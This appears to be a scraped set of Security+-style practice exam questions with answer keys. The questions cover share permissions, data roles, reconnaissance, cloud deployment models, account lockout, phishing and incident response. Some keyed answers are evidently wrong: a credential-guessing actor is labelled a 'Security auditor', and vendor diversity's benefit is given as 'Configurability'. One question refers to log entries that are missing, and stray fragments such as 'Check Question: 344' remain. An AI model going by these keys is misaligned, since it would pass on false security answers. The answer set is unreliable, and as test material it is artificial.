A copy of a highly confidential salary report was recently found on a printer in the IT department. The human resources department does not have this specific printer mapped to its devices, and it is suspected that an employee in the IT department browsed to the share where the report was located and printed it without authorization. Which of the following technical controls would be the BEST choice to immediately prevent this from happening again? A. Implement a DLP solution and classify the report as confidential, restricting access only to human resources staff B. Restrict access to the share where the report resides to only human resources employees and enable auditing C. Have all members of the IT department review and sign the AUP and disciplinary policies D. Place the human resources computers on a restricted VLAN and configure the ACL to prevent access from the IT department
Answer: B. Restrict access to the share where the report resides to only human resources employees and enable auditing
An information security analyst needs to work with an employee who can answer questions about how data for a specific system is used in the business. The analyst should seek out an employee who has the role of: A. steward B. owner C. privacy officer D. systems administrator
Answer: B. owner
A penetration tester harvests potential usernames from a social networking site. The penetration tester then uses social engineering to attempt to obtain associated passwords to gain unauthorized access to shares on a network server. Which of the following methods is the penetration tester MOST likely using? A. Escalation of privilege B. SQL injection C. Active reconnaissance D. Proxy server
Answer: C. Active reconnaissance Explanation: Active Reconnaissance - a penetration testing method used to collect information. It sends data to systems and analyzes responses to gain information on the target. Compare with passive reconnaissance.
A group of non-profit agencies wants to implement a cloud service to share resources with each other and minimize costs. Which of the following cloud deployment models BEST describes this type of effort? A. Public B. Hybrid C. Community D. Private
Answer: C. Community
A security analyst is investigating a suspected security breach and discovers the following in the logs of the potentially compromised server: Which of the following would be the BEST method for preventing this type of suspected attack in the future? A. Implement password expirations B. Implement restrictions on shared credentials C. Implement account lockout settings D. Implement time-of-day restrictions on this server
Answer: C. Implement account lockout settings Check Question: 344
A security analyst accesses corporate web pages and inputs random data in the forms. The response received includes the type of database used and SQL commands that the database accepts. Which of the following should the security analyst use to prevent this vulnerability? A. Application fuzzing B. Error handling C. Input validation D. Pointer dereference
Answer: C. Input validation
A vulnerability scan is being conducted against a desktop system. The scan is looking for files, versions, and registry values known to be associated with system vulnerabilities. Which of the following BEST describes the type of scan being performed? A. Non-intrusive B. Authenticated C. Credentialed D. Active
Answer: D. Active
An actor downloads and runs a program against a corporate login page. The program imports a list of usernames and passwords, looking for a successful attempt. Which of the following terms BEST describes the actor in this situation? A. Script kiddie B. Hacktivist C. Cryptologist D. Security auditor
Answer: D. Security auditor
An employee receives an email, which appears to be from the Chief Executive Officer (CEO), asking for a report of security credentials for all users. Which of the following types of attack is MOST likely occurring? A. Policy violation B. Social engineering C. Whaling D. Spear phishing
Answer: D. Spear phishing
A director of IR is reviewing a report regarding several recent breaches. The director complies the following statistics: - Initial IR engagement time frame - Length of time before an executive management notice went out - Average IR phase completion The director wants to use data to shorten the response time. Which of the following would accomplish this? A. CSIRT B. Containment phase C. Escalation notifications D. Tabletop exercise
Answer: D. Tabletop exercise
Which of the following BEST describes an important security advantage yielded by implementing vendor diversity? A. Sustainability B. Homogeneity C. Resiliency D. Configurability
D. Configurability
